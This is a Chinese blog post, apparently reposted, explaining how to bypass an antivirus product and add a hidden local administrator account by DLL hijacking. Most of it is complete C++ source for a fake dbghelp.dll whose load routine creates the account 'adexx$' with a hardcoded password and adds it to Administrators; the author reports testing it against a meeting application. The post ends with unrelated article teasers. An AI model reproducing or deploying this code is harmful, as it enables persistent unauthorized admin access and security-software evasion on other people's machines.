某杀软环境下的添加账户

某杀软环境下的添加账户

我们在某个杀软环境下,正常添加账户一般是会被直接拦截的

白+黑

在这个环境下,白+黑是最实用的绕过方式,我们可以通过调用winapi来创建账户,这些代码再存储到dll里面,通过白程序来进行dll劫持执行我们的代码

使用函数

NetUserAdd

NET_API_STATUS NET_API_FUNCTION NetUserAdd([in]  LPCWSTR servername,//NULL 为本地[in]  DWORD   level, [in]  LPBYTE  buf,[out] LPDWORD parm_err
);

上面这个函数中第三个参数是一个结构,可以有很多选择,这里我们使用_USER_INFO_1同时第二个参数要配套输入1代表信息等级1,_USER_INFO_1的结构如下

typedef struct _USER_INFO_1 {LPWSTR usri1_name;LPWSTR usri1_password;DWORD  usri1_password_age;DWORD  usri1_priv;LPWSTR usri1_home_dir;LPWSTR usri1_comment;DWORD  usri1_flags;LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;

LookupAccountName

实现好用户的创建之后,我们就继续使用LookupAccountName来查询对应账户的sid,方便我们后续添加管理员用户组

BOOL LookupAccountNameW([in, optional]  LPCWSTR       lpSystemName,[in]            LPCWSTR       lpAccountName,[out, optional] PSID          Sid,//这里会返回我们的SID[in, out]       LPDWORD       cbSid,[out, optional] LPWSTR        ReferencedDomainName,[in, out]       LPDWORD       cchReferencedDomainName,[out]           PSID_NAME_USE peUse
);

NetLocalGroupAddMembers

最后使用NetLocalGroupAddMembers来向管理员组里面去添加成员

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers([in] LPCWSTR servername,[in] LPCWSTR groupname,[in] DWORD   level,[in] LPBYTE  buf,[in] DWORD   totalentries
);

完整demo

我这里使用的是劫持了某个会议软件目录下的dbghelp.dll进行的实验,其作为实战的劫持是不行的,因为它没有办法正常让程序启动,会报错,动静很大,但是作为实验来说已经足够

在这里插入图片描述

// dllmain.cpp : 这是 DLL 应用程序的入口点。
#include "pch.h" // 预编译头文件
#include <Windows.h> // Windows API 头文件
#include <string.h> // 字符串处理函数
#include <LMaccess.h> // 本地管理相关的 Net API 头文件
#include <lmerr.h> // Windows 网络错误码
#include <tchar.h> // 支持 TCHAR 类型的宏和函数
#include <stdio.h> // 标准输入输出库
#pragma comment(lib,"netapi32.lib") // 链接 netapi32.lib 库extern "C" __declspec(dllexport) void SymSetOptions() {}extern "C" __declspec(dllexport) void SymSetSearchPathW() {}extern "C" __declspec(dllexport) void SymCleanup() {}extern "C" __declspec(dllexport) void SymFromAddr() {}extern "C" __declspec(dllexport) void SymGetSearchPathW() {}extern "C" __declspec(dllexport) void SymGetLineFromAddr64() {}extern "C" __declspec(dllexport) void SymInitialize() {}// 定义内部函数,用于创建管理员用户
DWORD CreateAdminUserInternal(void)
{NET_API_STATUS rc; // 记录 API 调用的返回状态BOOL b; // 布尔标志DWORD dw; // 通用 DWORD 类型变量DWORD dwLevel = 1;DWORD dwError = 0;USER_INFO_1 ud; // 用户信息结构LOCALGROUP_MEMBERS_INFO_0 gd; // 本地组成员信息SID_NAME_USE snu; // SID 名称使用类型// 定义 SID 和 Domain 的缓冲区大小DWORD cbSid = 256;BYTE Sid[256]; // 用于存储用户的 SIDDWORD cbDomain = 256 / sizeof(TCHAR);TCHAR Domain[256]; // 用于存储域名// 初始化 USER_INFO_1 结构memset(&ud, 0, sizeof(ud)); // 清空结构// 设置用户信息wchar_t username[] = L"adexx$";ud.usri1_name = username;            // 账户   wchar_t password[] = L"adexx!@#QWE";ud.usri1_password = password;      // 密码ud.usri1_priv = USER_PRIV_USER;ud.usri1_script_path = NULL;ud.usri1_comment = NULL;ud.usri1_flags = UF_SCRIPT;ud.usri1_home_dir = NULL;// 调用 NetUserAdd 函数创建用户rc = NetUserAdd(NULL,       // 本地计算机dwLevel,          // 信息级别(LPBYTE)&ud, // 指向用户信息结构的指针&dwError // 返回的用户 ID,当前不需要);// 检查用户创建是否成功if (rc != NERR_Success) {MessageBox(NULL, _T("NetUserAdd Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return rc; // 返回错误代码}// 获取刚创建用户的 SIDb = LookupAccountName(NULL,       // 本地计算机_T("adexx$"), // 要查找的用户名Sid,        // 存储 SID 的缓冲区&cbSid,     // SID 的缓冲区大小Domain,     // 存储域名的缓冲区&cbDomain,  // 域名缓冲区的大小&snu        // SID 名称使用类型);// 检查是否成功查找 SIDif (!b) {dw = GetLastError(); // 获取最后的错误代码TCHAR msg[256];_stprintf_s(msg, _T("LookupAccountName Fail ,Error is :%d"), dw); // 格式化消息MessageBox(NULL, msg, _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return dw; // 返回错误代码}// 将用户添加到本地管理员组memset(&gd, 0, sizeof(gd)); // 清空 LOCALGROUP_MEMBERS_INFO_0 结构gd.lgrmi0_sid = (PSID)Sid; // 设置成员的 SID// 调用 NetLocalGroupAddMembers 函数将用户添加到管理员组rc = NetLocalGroupAddMembers(NULL,       // 本地计算机_T("Administrators"), // 组名0,          // 信息级别(LPBYTE)&gd, // 成员信息1 // 成员数量);// 检查是否添加成功if (rc != NERR_Success) {MessageBox(NULL, _T("NetLocalGroupAddMembers Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框return rc; // 返回错误代码}return 0; // 成功完成
}// DLL 主入口点
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 当 DLL 被加载时CreateAdminUserInternal(); // 调用创建用户函数case DLL_THREAD_ATTACH: // 新线程被创建时case DLL_THREAD_DETACH: // 线程退出时case DLL_PROCESS_DETACH: // DLL 被卸载时break; // 无需处理}return TRUE; // 返回 TRUE,表明 DLL 处理成功
}

结果

用管理员权限运行腾讯会议,成功以后来看用户组,可以看见用户被成功添加

在这里插入图片描述

注销看一眼,确实添上了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/18582.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

《Spring 基础之 IoC 与 DI 入门指南》

一、IoC 与 DI 概念引入 Spring 的 IoC&#xff08;控制反转&#xff09;和 DI&#xff08;依赖注入&#xff09;在 Java 开发中扮演着至关重要的角色&#xff0c;是提升代码质量和可维护性的关键技术。 &#xff08;一&#xff09;IoC 的含义及作用 IoC 全称为 Inversion of…

【C++】set,map,multiset,multimap的介绍和使用

set、map、multiset、multimap set、multiset的介绍和使用1、关联式容器2、键值对3、树形结构的关联式容器4、setset的介绍set的定义set的使用 5、multisetmultiset的介绍multiset的使用 map、multimap的介绍和使用1、map的介绍map的定义insert插入函数map的迭代器find查找函数…

Midjourney基础命令和提示词

1 基础命令 1.1 /imagine prompt 生成图片的核心命令&#xff0c;prompt 后输入描述。 /imagine prompt: A majestic dragon flying over a misty mountain, cinematic lighting, 4K resolution 高级提示 1.1.1 基本参数 图片比例 --ar 图片比例 混乱 Aspect Ratios --…

【代码pycharm】动手学深度学习v2-04 数据操作 + 数据预处理

数据操作 数据预处理 1.数据操作运行结果 2.数据预处理实现运行结果 第四课链接 1.数据操作 import torch # 张量的创建 x1 torch.arange(12) print(1.有12个元素的张量&#xff1a;\n,x1) print(2.张量的形状&#xff1a;\n,x1.shape) print(3.张量中元素的总数&#xff1…

智云-一个抓取web流量的轻量级蜜罐v1.5

智云-一个抓取web流量的轻量级蜜罐v1.5 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN 新增功能-自定义漏洞信息 可通过正则来添加相关路由以及响应来伪造 nacos的版本响应如下 日流量态势 月流量态势 抓取流量效果

【Android原生问题分析】夸克、抖音划动无响应问题【Android14】

1 问题描述 偶现问题&#xff0c;用户打开夸克、抖音后&#xff0c;在界面上划动无响应&#xff0c;但是没有ANR。回到Launcher后再次打开夸克/抖音&#xff0c;发现App的界面发生了变化&#xff0c;但是仍然是划不动的。 2 log初分析 复现问题附近的log为&#xff1a; 用户…

2024年11月16日 星期六 重新整理Go技术

今日格言 坚持每天进步一点点~ 一个人也可以是一个团队~ 学习全栈开发, 做自己喜欢的产品~~ 简介 大家好, 我是张大鹏, 今天是2024年11月16日星期六, 很高兴在这里给大家分享技术. 今天又是休息的一天, 做了很多的思考, 整理了自己掌握的技术, 比如Java, Python, Golang,…

go-zero(一) 介绍和使用

go-zero 介绍和使用 一、什么是 go-zero&#xff1f; go-zero 是一个基于 Go 语言的微服务框架&#xff0c;提供了高效、简单并易于扩展的 API 设计和开发模式。它主要目的是为开发者提供一种简单的方式来构建和管理云原生应用。 1.go-zero 的核心特性 高性能&#xff1a; g…

VUE+SPRINGBOOT实现邮箱注册、重置密码、登录功能

随着互联网的发展&#xff0c;网站用户的管理、触达、消息通知成为一个网站设计是否合理的重要标志。目前主流互联网公司都支持手机验证码注册、登录。但是手机短信作为服务端网站是需要付出运营商通信成本的&#xff0c;而邮箱的注册、登录、重置密码&#xff0c;无疑成为了这…

多目标优化算法:多目标蛇鹫优化算法(MOSBOA)求解ZDT1、ZDT2、ZDT3、ZDT4、ZDT6,提供完整MATLAB代码

一、蛇鹫优化算法 蛇鹫优化算法&#xff08;Secretary Bird Optimization Algorithm&#xff0c;简称SBOA&#xff09;由Youfa Fu等人于2024年4月发表在《Artificial Intelligence Review》期刊上的一种新型的元启发式算法。该算法旨在解决复杂工程优化问题&#xff0c;特别是…

2024-11-15 Java开发工程师 内推

Java开发工程师 坐标&#xff1a;大连 岗位要求&#xff1a; 1、本科以上学历&#xff0c;计算机相关专业 2、22/23/24届毕业生 小结&#xff1a;有意向的私信发简历

Python绘制雪花

文章目录 系列目录写在前面技术需求完整代码代码分析1. 代码初始化部分分析2. 雪花绘制核心逻辑分析3. 窗口保持部分分析4. 美学与几何特点总结 写在后面 系列目录 序号直达链接爱心系列1Python制作一个无法拒绝的表白界面2Python满屏飘字表白代码3Python无限弹窗满屏表白代码4…

当 docker-compose.yaml 文件部署时,Dify 线上版本升级过程

如果线上 Dify 是通过 docker-compose.yaml 文件部署的&#xff0c;那么当 Dify 版本升级时该如何操作呢&#xff1f;官方已经给出了 Docker compose 和 Source Code 两种方式。相对而言&#xff0c;前者更简单些&#xff0c;至少不需要安装依赖包和迁移数据库文件。为了更加具…

RHCSA学习超详细知识点2命令篇

输入命令行的语法 终端中执行命令需要遵照一定的语法&#xff0c;输入命令的格式如下&#xff1a; 命令 参数命令 -选项 参数 输入命令时可以包含多个选项&#xff0c;假如一个命令有-a,-b,-c,-d四个选项&#xff0c;可以写作 命令 -a -b -c -d 参数 这里的多个选项可以“提…

小米路由器用外网域名访问管理界面

本文在Redmi AX3000 (RA81)设置&#xff0c;其他型号路由器的管理界面端口可能各不相同。 开始之前需要保证路由器SSH功能正常&#xff0c;如果没有SSH可以参考这里。 1. 给WAN口开放80端口 可以通过下载mixbox的firewall插件或者其他防火墙插件开放端口。 2. 把域名解析到路…

✅DAY27贪心算法 | 455.分发饼干 | 376. 摆动序列 | 53. 最大子序和

一、贪心算法 核心理念是每一步都做出局部最优选择&#xff0c;以期最终得到全局最优解。它通常用于求解一些最优化问题&#xff0c;例如最小生成树、最短路径、背包问题等。 二、贪心算法的步骤 1. 定义选择标准&#xff1a;确定每一步如何选择当前最优解。 2. 验证贪心策…

无人机+无人车+机器狗:城市巷战突破技术详解

在城市巷战中&#xff0c;无人机、无人车和机器狗的组合可以形成一种全新的战场突破技术&#xff0c;这种组合能够大幅提升作战效率&#xff0c;减少人员伤亡。以下是对这一技术的详细解析&#xff1a; 一、无人机的作用 1.空中侦察&#xff1a;无人机能够提供高空视角&#x…

智慧环保之环境网格化监测解决方案

1. 引言 智慧环保网格化监测解决方案&#xff0c;旨在通过先进的信息技术手段&#xff0c;实现环境质量的全面、精准、实时监测&#xff0c;为环境治理提供科学依据和决策支持。 2. 背景与挑战 当前&#xff0c;环境污染问题日益严峻&#xff0c;治理难度不断加大。传统监测手…

vue2+3 —— Day5/6

自定义指令 自定义指令 需求&#xff1a;当页面加载时&#xff0c;让元素获取焦点&#xff08;一进页面&#xff0c;输入框就获取焦点&#xff09; 常规操作&#xff1a;操作dom “dom元素.focus()” 获取dom元素还要用ref 和 $refs <input ref"inp" type&quo…

2024 RISC-V 中国峰会 演讲幻灯片和视频回放 均已公开

目录 一、幻灯片地址&#xff1a; 二、演讲视频&#xff1a; 一、幻灯片地址&#xff1a; RVSC2024/slides at main cnrv/RVSC2024 GitHub 二、演讲视频&#xff1a; RISC-V国际基金会的个人空间-RISC-V国际基金会个人主页-哔哩哔哩视频 参考&#xff1a; 1、RISC-V 中…